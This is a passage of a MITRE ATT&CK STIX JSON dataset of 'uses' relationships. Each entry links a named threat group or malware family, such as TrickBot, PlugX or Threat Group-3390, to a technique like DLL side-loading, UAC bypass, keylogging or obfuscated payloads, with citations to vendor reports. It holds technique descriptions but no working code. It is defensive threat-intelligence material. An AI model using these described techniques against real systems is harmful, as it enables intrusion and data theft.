            "description": "[Elderwood](https://attack.mitre.org/groups/G0066) has used exploitation of endpoint software, including Microsoft Internet Explorer Adobe Flash vulnerabilities, to gain execution. They have also used zero-day exploits.(Citation: Symantec Elderwood Sept 2012)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://web.archive.org/web/20190717233006/http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf",
                    "description": "O'Gorman, G., and McDonald, G.. (2012, September 6). The Elderwood Project. Retrieved February 15, 2018.",
                    "source_name": "Symantec Elderwood Sept 2012"
                }
            ],
            "source_ref": "intrusion-set--03506554-5f37-4f8f-9ce4-0e9f01a1b484",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--be2dcee9-a7a7-4e38-afd6-21b31ecc3d63",
            "type": "relationship",
            "modified": "2021-01-06T19:32:28.680Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--0eb683e1-bd09-4572-866a-f178ce54f7b6",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Leafminer](https://attack.mitre.org/groups/G0077) obfuscated scripts that were used on victim machines.(Citation: Symantec Leafminer July 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.symantec.com/blogs/threat-intelligence/leafminer-espionage-middle-east",
                    "description": "Symantec Security Response. (2018, July 25). Leafminer: New Espionage Campaigns Targeting Middle Eastern Regions. Retrieved August 28, 2018.",
                    "source_name": "Symantec Leafminer July 2018"
                }
            ],
            "source_ref": "intrusion-set--32bca8ff-d900-4877-aa65-d70baa041b74",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a",
            "type": "relationship",
            "modified": "2019-03-25T14:12:13.435Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--720be590-5ea0-43b6-8360-fa75dd4d1a67",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "After compromising a victim, [Poseidon Group](https://attack.mitre.org/groups/G0033) discovers all running services.(Citation: Kaspersky Poseidon Group)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Kaspersky Poseidon Group",
                    "description": "Kaspersky Lab's Global Research and Analysis Team. (2016, February 9). Poseidon Group: a Targeted Attack Boutique specializing in global cyber-espionage. Retrieved March 16, 2016.",
                    "url": "https://securelist.com/poseidon-group-a-targeted-attack-boutique-specializing-in-global-cyber-espionage/73673/"
                }
            ],
            "source_ref": "intrusion-set--7ecc3b4f-5cdb-457e-b55a-df376b359446",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--322bad5a-1c49-4d23-ab79-76d641794afa",
            "type": "relationship",
            "modified": "2020-03-18T15:34:54.808Z",
            "created": "2017-05-31T21:33:27.070Z"
        },
        {
            "id": "relationship--174698f8-9349-4e52-9887-18089038195c",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "A [Patchwork](https://attack.mitre.org/groups/G0040) .dll that contains [BADNEWS](https://attack.mitre.org/software/S0128) is loaded and executed using DLL side-loading.(Citation: TrendMicro Patchwork Dec 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf",
                    "description": "Lunghi, D., et al. (2017, December). Untangling the Patchwork Cyberespionage Group. Retrieved July 10, 2018.",
                    "source_name": "TrendMicro Patchwork Dec 2017"
                }
            ],
            "source_ref": "intrusion-set--17862c7d-9e60-48a0-b48e-da4dc4c3f6b0",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--e64c62cf-9cd7-4a14-94ec-cdaac43ab44b",
            "type": "relationship",
            "modified": "2019-07-11T13:53:05.819Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--74a15877-d310-4be1-813d-4ee9cbd603b7",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Rancor](https://attack.mitre.org/groups/G0075) has downloaded additional malware, including by using [certutil](https://attack.mitre.org/software/S0160).(Citation: Rancor Unit42 June 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Rancor Unit42 June 2018",
                    "description": "Ash, B., et al. (2018, June 26). RANCOR: Targeted Attacks in South East Asia Using PLAINTEE and DDKONG Malware Families. Retrieved July 2, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/06/unit42-rancor-targeted-attacks-south-east-asia-using-plaintee-ddkong-malware-families/"
                }
            ],
            "source_ref": "intrusion-set--f40eb8ce-2a74-4e56-89a1-227021410142",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add",
            "type": "relationship",
            "modified": "2019-04-25T12:37:45.611Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--34c4b497-00e3-415c-8e09-3b73667d9bbe",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[HAMMERTOSS](https://attack.mitre.org/software/S0037) is controlled via commands that are appended to image files.(Citation: FireEye APT29)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "FireEye APT29",
                    "description": "FireEye Labs. (2015, July). HAMMERTOSS: Stealthy Tactics Define a Russian Cyber Threat Group. Retrieved September 17, 2015.",
                    "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt-apt29-hammertoss.pdf"
                }
            ],
            "source_ref": "malware--2daa14d6-cbf3-4308-bb8e-213c324a08e4",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--eec23884-3fa1-4d8a-ac50-6f104d51e235",
            "type": "relationship",
            "modified": "2020-03-20T22:43:39.157Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--2a93ea80-d0f6-4b81-887d-8911f7573245",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Threat Group-3390](https://attack.mitre.org/groups/G0027) has used DLL side-loading, including by using legitimate Kaspersky antivirus variants in which the DLL acts as a stub loader that loads and executes the shell code.(Citation: Dell TG-3390)(Citation: SecureWorks BRONZE UNION June 2017)(Citation: Securelist LuckyMouse June 2018)(Citation: Unit42 Emissary Panda May 2019)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Dell TG-3390",
                    "description": "Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, August 5). Threat Group-3390 Targets Organizations for Cyberespionage. Retrieved August 18, 2018.",
                    "url": "https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage"
                },
                {
                    "url": "https://www.secureworks.com/research/bronze-union",
                    "description": "Counter Threat Unit Research Team. (2017, June 27). BRONZE UNION Cyberespionage Persists Despite Disclosures. Retrieved July 13, 2017.",
                    "source_name": "SecureWorks BRONZE UNION June 2017"
                },
                {
                    "url": "https://securelist.com/luckymouse-hits-national-data-center/86083/",
                    "description": "Legezo, D. (2018, June 13). LuckyMouse hits national data center to organize country-level waterholing campaign. Retrieved August 18, 2018.",
                    "source_name": "Securelist LuckyMouse June 2018"
                },
                {
                    "description": "Falcone, R. and Lancaster, T.. (2019, May 28). Emissary Panda Attacks Middle East Government Sharepoint Servers. Retrieved July 9, 2019.",
                    "url": "https://unit42.paloaltonetworks.com/emissary-panda-attacks-middle-east-government-sharepoint-servers/",
                    "source_name": "Unit42 Emissary Panda May 2019"
                }
            ],
            "source_ref": "intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--e64c62cf-9cd7-4a14-94ec-cdaac43ab44b",
            "type": "relationship",
            "modified": "2019-07-14T21:15:54.977Z",
            "created": "2017-05-31T21:33:27.061Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "description": "Brumaghin, E., et al. (2017, November 02). Poisoning the Well: Banking Trojan Targets Google Search Results. Retrieved November 5, 2018.",
                    "url": "https://blog.talosintelligence.com/2017/11/zeus-panda-campaign.html#More",
                    "source_name": "Talos Zeus Panda Nov 2017"
                },
                {
                    "description": "Ebach, L. (2017, June 22). Analysis Results of Zeus.Variant.Panda. Retrieved November 5, 2018.",
                    "url": "https://cyberwtf.files.wordpress.com/2017/07/panda-whitepaper.pdf",
                    "source_name": "GDATA Zeus Panda June 2017"
                }
            ],
            "description": "[Zeus Panda](https://attack.mitre.org/software/S0330) checks to see if anti-virus, anti-spyware, or firewall products are installed in the victim\u2019s environment.(Citation: Talos Zeus Panda Nov 2017)(Citation: GDATA Zeus Panda June 2017)",
            "id": "relationship--19f93e6a-a481-4f72-856a-879742a654e4",
            "source_ref": "malware--198db886-47af-4f4c-bff5-11b891f85946",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--cba37adb-d6fb-4610-b069-dd04c0643384",
            "type": "relationship",
            "modified": "2019-04-16T20:55:20.048Z",
            "created": "2019-01-29T17:59:44.417Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "CIRCL PlugX March 2013",
                    "url": "http://circl.lu/assets/files/tr-12/tr-12-circl-plugx-analysis-v1.pdf",
                    "description": "Computer Incident Response Center Luxembourg. (2013, March 29). Analysis of a PlugX variant. Retrieved November 5, 2018."
                }
            ],
            "description": "[PlugX](https://attack.mitre.org/software/S0013) has a module for capturing keystrokes per process including window titles.(Citation: CIRCL PlugX March 2013)",
            "id": "relationship--38f209df-bb69-4971-bbd8-db5a54bbf217",
            "source_ref": "malware--64fa0de0-6240-41f4-8638-f4ca7ed528fd",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4",
            "type": "relationship",
            "modified": "2020-03-16T17:29:45.968Z",
            "created": "2019-01-29T18:17:59.273Z"
        },
        {
            "id": "relationship--79672f1b-d7a9-494e-9c0b-82eadb88389a",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Dragonfly 2.0](https://attack.mitre.org/groups/G0074) identified and browsed file servers in the victim network, sometimes , viewing files pertaining to ICS or Supervisory Control and Data Acquisition (SCADA) systems.(Citation: US-CERT TA18-074A)(Citation: US-CERT APT Energy Oct 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "US-CERT TA18-074A",
                    "description": "US-CERT. (2018, March 16). Alert (TA18-074A): Russian Government Cyber Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved June 6, 2018.",
                    "url": "https://www.us-cert.gov/ncas/alerts/TA18-074A"
                },
                {
                    "url": "https://www.us-cert.gov/ncas/alerts/TA17-293A",
                    "description": "US-CERT. (2017, October 20). Alert (TA17-293A): Advanced Persistent Threat Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved November 2, 2017.",
                    "source_name": "US-CERT APT Energy Oct 2017"
                }
            ],
            "source_ref": "intrusion-set--76d59913-1d24-4992-a8ac-05a3eb093f71",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--3489cfc5-640f-4bb3-a103-9137b97de79f",
            "type": "relationship",
            "modified": "2019-03-22T20:13:49.462Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "description": "Brumaghin, E., et al. (2018, October 15). Old dog, new tricks - Analysing new RTF-based campaign distributing Agent Tesla, Loki with PyREbox. Retrieved November 5, 2018.",
                    "url": "https://blog.talosintelligence.com/2018/10/old-dog-new-tricks-analysing-new-rtf_15.html",
                    "source_name": "Talos Agent Tesla Oct 2018"
                },
                {
                    "source_name": "DigiTrust Agent Tesla Jan 2017",
                    "url": "https://www.digitrustgroup.com/agent-tesla-keylogger/",
                    "description": "The DigiTrust Group. (2017, January 12). The Rise of Agent Tesla. Retrieved November 5, 2018."
                }
            ],
            "description": "[Agent Tesla](https://attack.mitre.org/software/S0331) can download additional files for execution on the victim\u2019s machine.(Citation: Talos Agent Tesla Oct 2018)(Citation: DigiTrust Agent Tesla Jan 2017)",
            "id": "relationship--40ae8100-d02c-445a-acf5-8e30f04ec6c0",
            "source_ref": "malware--e7a5229f-05eb-440e-b982-9a6d2b2b87c8",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add",
            "type": "relationship",
            "modified": "2020-05-20T13:38:06.884Z",
            "created": "2019-01-29T18:44:05.087Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://researchcenter.paloaltonetworks.com/2017/11/unit42-uboatrat-navigates-east-asia/",
                    "description": "Hayashi, K. (2017, November 28). UBoatRAT Navigates East Asia. Retrieved January 12, 2018.",
                    "source_name": "PaloAlto UBoatRAT Nov 2017"
                }
            ],
            "description": "[UBoatRAT](https://attack.mitre.org/software/S0333) can list running processes on the system.(Citation: PaloAlto UBoatRAT Nov 2017)",
            "id": "relationship--e29fa4df-f835-48e1-a83b-279818993793",
            "source_ref": "malware--518bb5f1-91f4-4ff2-b09d-5a94e1ebe95f",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580",
            "type": "relationship",
            "modified": "2019-04-19T15:10:04.339Z",
            "created": "2019-01-29T19:09:26.736Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "description": "ESET. (2017, March 30). Carbon Paper: Peering into Turla\u2019s second stage backdoor. Retrieved November 7, 2018.",
                    "url": "https://www.welivesecurity.com/2017/03/30/carbon-paper-peering-turlas-second-stage-backdoor/",
                    "source_name": "ESET Carbon Mar 2017"
                }
            ],
            "description": "[Carbon](https://attack.mitre.org/software/S0335) creates several tasks for later execution to continue persistence on the victim\u2019s machine.(Citation: ESET Carbon Mar 2017)",
            "id": "relationship--185a72dd-e151-4eba-81f4-c3eeaa67873a",
            "source_ref": "malware--b7e9880a-7a7c-4162-bddb-e28e8ef2bf1f",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9",
            "type": "relationship",
            "modified": "2020-03-28T21:32:10.384Z",
            "created": "2019-01-29T19:36:02.746Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://securelist.com/the-epic-turla-operation/65545/",
                    "description": "Kaspersky Lab's Global Research and Analysis Team. (2014, August 7). The Epic Turla Operation: Solving some of the mysteries of Snake/Uroburos. Retrieved December 11, 2014.",
                    "source_name": "Kaspersky Turla"
                }
            ],
            "description": "[Epic](https://attack.mitre.org/software/S0091) uses the <code>net view</code> command on the victim\u2019s machine.(Citation: Kaspersky Turla)",
            "id": "relationship--6e576576-bcd8-42ca-aa0a-8e3e24aaeafc",
            "source_ref": "malware--6b62e336-176f-417b-856a-8552dd8c44e1",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735",
            "type": "relationship",
            "modified": "2019-07-26T16:10:42.525Z",
            "created": "2019-01-29T19:55:48.168Z"
        },
        {
            "id": "relationship--bd7dce44-be74-4d8e-b9e4-efcd77b8a29b",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[FruitFly](https://attack.mitre.org/software/S0277) saves itself with a leading \".\" to make it a hidden file.(Citation: objsee mac malware 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "objsee mac malware 2017",
                    "description": "Patrick Wardle. (n.d.). Mac Malware of 2017. Retrieved September 21, 2018.",
                    "url": "https://objective-see.com/blog/blog_0x25.html"
                }
            ],
            "source_ref": "malware--4a98e44a-bd52-461e-af1e-a4457de87a36",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--ec8fc7e2-b356-455c-8db5-2e37be158e7d",
            "type": "relationship",
            "modified": "2020-01-17T19:43:39.461Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--408db284-4c7a-4ad4-8399-90a8102b4bfa",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[POWRUNER](https://attack.mitre.org/software/S0184) may collect process information by running <code>tasklist</code> on a victim.(Citation: FireEye APT34 Dec 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "FireEye APT34 Dec 2017",
                    "description": "Sardiwal, M, et al. (2017, December 7). New Targeted Attack in the Middle East by APT34, a Suspected Iranian Threat Group, Using CVE-2017-11882 Exploit. Retrieved December 20, 2017.",
                    "url": "https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html"
                }
            ],
            "source_ref": "malware--09b2cd76-c674-47cc-9f57-d2f2ad150a46",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580",
            "type": "relationship",
            "modified": "2020-03-17T02:14:55.985Z",
            "created": "2018-01-16T16:13:52.465Z"
        },
        {
            "id": "relationship--090813dc-b370-42e1-a211-4d9e3247968a",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "Some variants of [FakeM](https://attack.mitre.org/software/S0076) use SSL to communicate with C2 servers.(Citation: Scarlet Mimic Jan 2016)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Scarlet Mimic Jan 2016",
                    "description": "Falcone, R. and Miller-Osborn, J.. (2016, January 24). Scarlet Mimic: Years-Long Espionage Campaign Targets Minority Activists. Retrieved February 10, 2016.",
                    "url": "http://researchcenter.paloaltonetworks.com/2016/01/scarlet-mimic-years-long-espionage-targets-minority-activists/"
                }
            ],
            "source_ref": "malware--bb3c1098-d654-4620-bf40-694386d28921",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--c21d5a77-d422-4a69-acd7-2c53c1faa34b",
            "type": "relationship",
            "modified": "2020-03-17T01:11:58.611Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--c56de8bc-ad9e-415a-8840-ae294ed4f88a",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Power Loader](https://attack.mitre.org/software/S0177) overwrites Explorer\u2019s Shell_TrayWnd extra window memory to redirect execution to a NTDLL function that is abused to assemble and execute a return-oriented programming (ROP) chain and create a malicious thread within Explorer.exe.(Citation: MalwareTech Power Loader Aug 2013)(Citation: WeLiveSecurity Gapz and Redyms Mar 2013)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "MalwareTech Power Loader Aug 2013",
                    "description": "MalwareTech. (2013, August 13). PowerLoader Injection \u2013 Something truly amazing. Retrieved December 16, 2017.",
                    "url": "https://www.malwaretech.com/2013/08/powerloader-injection-something-truly.html"
                },
                {
                    "source_name": "WeLiveSecurity Gapz and Redyms Mar 2013",
                    "description": "Matrosov, A. (2013, March 19). Gapz and Redyms droppers based on Power Loader code. Retrieved December 16, 2017.",
                    "url": "https://www.welivesecurity.com/2013/03/19/gapz-and-redyms-droppers-based-on-power-loader-code/"
                }
            ],
            "type": "relationship",
            "modified": "2018-10-17T00:14:20.652Z",
            "created": "2018-01-16T16:13:52.465Z",
            "source_ref": "malware--0a9c51e0-825d-4b9b-969d-ce86ed8ce3c3",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--0042a9f5-f053-4769-b3ef-9ad018dfa298"
        },
        {
            "id": "relationship--1be07482-c5ed-42f9-8be1-5dbb44152461",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Proxysvc](https://attack.mitre.org/software/S0238) uses HTTP over SSL to communicate commands with the control server.(Citation: McAfee GhostSecret)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://securingtomorrow.mcafee.com/mcafee-labs/analyzing-operation-ghostsecret-attack-seeks-to-steal-data-worldwide/",
                    "description": "Sherstobitoff, R., Malhotra, A. (2018, April 24). Analyzing Operation GhostSecret: Attack Seeks to Steal Data Worldwide. Retrieved May 16, 2018.",
                    "source_name": "McAfee GhostSecret"
                }
            ],
            "source_ref": "malware--069af411-9b24-4e85-b26c-623d035bbe84",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161",
            "type": "relationship",
            "modified": "2020-03-17T02:15:13.464Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--83e001e3-95d3-43d9-9f8c-8b954686287a",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "A [TYPEFRAME](https://attack.mitre.org/software/S0263) variant can force the compromised system to function as a proxy server.(Citation: US-CERT TYPEFRAME June 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "US-CERT TYPEFRAME June 2018",
                    "description": "US-CERT. (2018, June 14). MAR-10135536-12 \u2013 North Korean Trojan: TYPEFRAME. Retrieved July 13, 2018.",
                    "url": "https://www.us-cert.gov/ncas/analysis-reports/AR18-165A"
                }
            ],
            "source_ref": "malware--7ba0fc46-197d-466d-8b9f-f1c64d5d81e5",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--731f4f55-b6d0-41d1-a7a9-072a66389aea",
            "type": "relationship",
            "modified": "2020-03-17T13:49:31.174Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--81cfd1fd-999b-4730-b5dc-363d367dd92e",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[RTM](https://attack.mitre.org/software/S0148) has the ability to remove Registry entries that it created during execution.(Citation: ESET RTM Feb 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2017/02/Read-The-Manual.pdf",
                    "description": "Faou, M. and Boutin, J. (2017, February). Read The Manual: A Guide to the RTM Banking Trojan. Retrieved March 9, 2017.",
                    "source_name": "ESET RTM Feb 2017"
                }
            ],
            "source_ref": "malware--92ec0cbd-2c30-44a2-b270-73f4ec949841",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--799ace7f-e227-4411-baa0-8868704f2a69",
            "type": "relationship",
            "modified": "2020-05-12T22:13:16.878Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--caef212a-7ed2-4cb9-a155-7ce79a9784b8",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[TrickBot](https://attack.mitre.org/software/S0266) searches the system for all of the following file extensions: .avi, .mov, .mkv, .mpeg, .mpeg4, .mp4, .mp3, .wav, .ogg, .jpeg, .jpg, .png, .bmp, .gif, .tiff, .ico, .xlsx, and .zip. It can also obtain browsing history, cookies, and plug-in information.(Citation: S2 Grupo TrickBot June 2017)(Citation: Trend Micro Trickbot Nov 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "S2 Grupo TrickBot June 2017",
                    "description": "Salinas, M., Holguin, J. (2017, June). Evolution of Trickbot. Retrieved July 31, 2018.",
                    "url": "https://www.securityartwork.es/wp-content/uploads/2017/07/Trickbot-report-S2-Grupo.pdf"
                },
                {
                    "description": "Anthony, N., Pascual, C.. (2018, November 1). Trickbot Shows Off New Trick: Password Grabber Module. Retrieved November 16, 2018.",
                    "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/trickbot-shows-off-new-trick-password-grabber-module/",
                    "source_name": "Trend Micro Trickbot Nov 2018"
                }
            ],
            "source_ref": "malware--00806466-754d-44ea-ad6f-0caf59cb8556",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18",
            "type": "relationship",
            "modified": "2019-06-24T19:15:06.424Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--315aab88-9b01-4a70-8f8c-173a3f29e79c",
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            "description": "[SHOTPUT](https://attack.mitre.org/software/S0063) is obscured using XOR encoding and appended to a valid GIF file.(Citation: FireEye Clandestine Wolf)(Citation: Palo Alto CVE-2015-3113 July 2015)",
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            ],
            "external_references": [
                {
                    "source_name": "FireEye Clandestine Wolf",
                    "description": "Eng, E., Caselden, D.. (2015, June 23). Operation Clandestine Wolf \u2013 Adobe Flash Zero-Day in APT3 Phishing Campaign. Retrieved January 14, 2016.",
                    "url": "https://www.fireeye.com/blog/threat-research/2015/06/operation-clandestine-wolf-adobe-flash-zero-day.html"
                },
                {
                    "source_name": "Palo Alto CVE-2015-3113 July 2015",
                    "description": "Falcone, R. and Wartell, R.. (2015, July 27). Observations on CVE-2015-3113, Prior Zero-Days and the Pirpi Payload. Retrieved January 22, 2016.",
                    "url": "http://researchcenter.paloaltonetworks.com/2015/07/ups-observations-on-cve-2015-3113-prior-zero-days-and-the-pirpi-payload/"
                }
            ],
            "source_ref": "malware--58adaaa8-f1e8-4606-9a08-422e568461eb",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a",
            "type": "relationship",
            "modified": "2020-03-18T20:44:39.374Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--8b4fd69e-a3c6-4721-9aed-d8235a93672e",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Cobalt Group](https://attack.mitre.org/groups/G0080) has bypassed UAC.(Citation: Group IB Cobalt Aug 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.group-ib.com/blog/cobalt",
                    "description": "Matveeva, V. (2017, August 15). Secrets of Cobalt. Retrieved October 10, 2018.",
                    "source_name": "Group IB Cobalt Aug 2017"
                }
            ],
            "source_ref": "intrusion-set--dc6fe6ee-04c2-49be-ba3d-f38d2463c02a",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--120d5519-3098-4e1c-9191-2aa61232f073",
            "type": "relationship",
            "modified": "2019-07-26T23:38:33.707Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--9e214d5b-7d46-4135-bc42-4caab16b39d8",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[SPACESHIP](https://attack.mitre.org/software/S0035) identifies files with certain extensions and copies them to a directory in the user's profile.(Citation: FireEye APT30)",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "FireEye APT30",
                    "description": "FireEye Labs. (2015, April). APT30 AND THE MECHANICS OF A LONG-RUNNING CYBER ESPIONAGE OPERATION. Retrieved May 1, 2015.",
                    "url": "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
                }
            ],
            "source_ref": "malware--8b880b41-5139-4807-baa9-309690218719",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--1c34f7aa-9341-4a48-bfab-af22e51aca6c",
            "type": "relationship",
            "modified": "2020-03-17T14:56:44.484Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--2c7d090e-09a1-4a45-baf4-b13790b483f6",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Leviathan](https://attack.mitre.org/groups/G0065) has obfuscated code using base64 and gzip compression.(Citation: Proofpoint Leviathan Oct 2017)",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
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                    "description": "Axel F, Pierre T. (2017, October 16). Leviathan: Espionage actor spearphishes maritime and defense targets. Retrieved February 15, 2018.",
